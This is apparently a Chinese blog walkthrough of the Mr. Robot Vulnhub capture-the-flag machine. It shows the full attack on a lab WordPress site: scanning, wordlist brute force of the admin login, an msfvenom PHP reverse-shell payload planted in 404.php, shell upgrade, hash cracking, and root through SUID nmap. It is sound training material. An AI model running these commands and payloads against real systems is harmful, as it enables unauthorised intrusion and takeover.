靶机说明:
靶机主题来自美剧《黑客军团》
本次靶机有三个flag,难度在初级到中级,非常适合新手训练学习,不需要逆向技术,目标就是找到三个key,并且拿到主机root权限。
渗透过程:
本次靶机已经导入VM,采用的是桥接模式,
攻击机用的是parrot linux+windows10,攻击机IP为:192.168.0.104
由于在同一网段内,我们用nmap找出靶机IP地址:
nmap -sP 192.168.0.0/24
得到靶机IP地址为:192.168.0.107
我们用nmap对靶机IP进行信息探测:
nmap -sV -O 192.168.0.107
发现开了22,80,443端口
我们访问靶机 http://192.168.0.107 主页:
发现是linux的命令输入框,最后那个#差点让我认为是root权限,查看源代码也没有什么有用的信息
我们先用dirb来跑一下目录,渗透之前,准备工作要做好:
dirb http://192.168.0.107 /usr/share/wordlists/dirb/big.txt
发现好多目录,还有许多敏感的目录,比如 robots.txt,
看到还有 /wp-admin,/wp-content 这些目录,这不是wordpress的系统架构吗,推测靶机应该是
wordpress搭建的博客,还有一些其他目录 /intro,/
emmm...似乎有点混乱,我们用dirsearch.py脚本通过筛选再来扫一遍:
这样就清楚多了,我们先来访问robots.txt:
我好像看见了key-1-of-3.txt,这或许就是那1/3flag,同时我们还发现一个目录,
我们先访问这个key:
这个像是key的MD5哈希值,但是不好破解...
我们再访问同时出现的这个目录 fsocity.dic:
我们下载并打开:
这给我的感觉...完全是一个字典文件啊...
不过太多,并且很多重复,我们删除一下重复项:
这个字典水分有点大,浓缩过后才11451条,
我们先不急着爆破,既然它是wordpress,kal等工具自带的wpscan完全可以用
来扫出漏洞,我们先来枚举用户:
....连用户名都没有扫出来
我们看这个博客的登陆页面,也就是 /wp-login
我们尝试用admin/admin888登陆:
虽然没有登录成功,但是错误提示是 :ERROR: Invalid username.
提示无用的用户名,应为之前本地搭建过wordpress,所以用户名正确,
密码不对时,页面会回显:ERROR: The pssword you entered for the username
我们现在手里也有一个之前下载编辑好的字典文件:fsocity_filtered.txt
我们或许写一个python脚本根据页面回显,来判断用户名是否正确:
我们运行脚本,到时候会输出用户名:
根据python脚本的运行结果,我们发现用户名为 elliot
现在我们需要获得密码,我们用wpscan使用相同的字典爆破:
wpscan --url http://192.168.0.107 --wordlist=/home/bmjoker/fsocity_filtered.txt --username elliot --threads 20
成功得到用户名跟密码: elliot/ER28-0652
我们尝试登陆wordpress:
并且顺带查看了这个用户的权限:
Administrator...权限够大的啊,对付wordpress,在我以前写的渗透测试案例有过总结,
感兴趣的小伙伴可以翻下之前的,这里通过修改Appearance -> Editor -> 404.php来得到shell:
先用mafvenom生成一个php马:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.103 LPORT=4444 -f raw -o payload.php
然后将生成的payload.php直接覆盖404.php:
然后再kali设置监听IP,端口:
然后我们随便访问一个不存在的页面来触发这个shell,比如我们访问:
http://192.168.0.107/123456
我们查看一下监听:
成功监听!!!我们切换shell窗口
我们下一步的任务就是提权并找到key:
我们在目录搜索中,找到了key-2-of-3.txt:
查看的时候,被权限给拦住了,不过同目录下还有个 password.raw-md5,得到了:
robot:c3fcd3d76192e4007dfb496cca67e13b
感觉像是一个用户名和一个md5哈希密码,尝试解密:
得到密码为:abcdefghijklmnopqrstuvwxyz
我们尝试登陆robot这个用户来查看key:
必须运行在一个终端中,这表明我们没有正确的shell运行...
我们直接用 python -c 'import pty; pty.spawn("/bin/bash")'
来模拟一个终端,来su robot :
成功得到第二个key,
从上面的key,我估计我们必须用root权限才能得到第三个key,
我尝试了一些常规的提权方法,找了一些exploitDB的漏洞,但这些都没有用
我们尝试从有root权限的进程入手:
(这是关于这个靶机的典型提权案例nmap:https://blog.csdn.net/yaofeino1/article/details/62897259)
对linux中SUID标识位的理解:
我们执行shell命令实际上是对应于某个二进制的可执行文件或者可执行的脚本,通常以提交这个命令的用户的权限运行,但是有的命令执行过程要往某个文件中写入一些东西。比如某个不具有root权限的用户想要修改自己的密码,他就要修改/etc/passwd文件,但是我们查看一下passwd的权限设置就知道passwd文件对于普通用户而言不具有写的权限,这样可以防止普通用户更改别人或者root的密码,但是他总该可以更改自己的密码吧,这点权限还是应该有的,你想到什么好的方法可以解决这个问题吗?
这就要说道linux中的SUID标志位,它可以把一个文件设置为这样的访问权限:普通用户只有在执行特定命令(入passwd 更改密码)时,才可以更改或者写入文件(如/etc/passwd),也就相当于只可以在受保护的文件的特定部分可以写入(如passwd中的自己的密码那部分),这样就很好的解决了保护重要的文件的同时又可以在特定的情况下让普通用户更改该文件。
如果大致理解的话我们继续:
我们搜索标识位SUID为root的文件:
(linux提权命令详解:https://blog.csdn.net/qk1992919/article/details/51381644)
find / -user root -perm -4000 2>/dev/null
通过截图,我们发现nmap居然有SUID标志位,来看看nmap版本
一个非常老的nmap版本,但是这个版本的nmap如何帮我们提权呢?
经过大量的谷歌搜索后,发现nmap支持“interactive.”选项,用户能够
通过该选项执行shell命令,通常,安全人员会使用该命令来避免他们
使用nmap命令被记录在history文件中:
我们成功的到最后一个key,任务完成!
总结:
1.使用 python -c ‘import pty; pty.spawn(“/bin/bash”)’ 可以获得一个稳定的shell,这个在实际渗透中用处也很大。
2.学习多种提权方式,包括本节的nmap老版本提权,在下一节还会介绍别样的提权。
3.wordpress有很多获得shell的方法,不只是修改404脚本,还可以通过修改插件来getshell,不懂的话看我以前的测试案例。
4.还是多动手实践,靶场来自于vulnhub,大家有兴趣自己尝试一下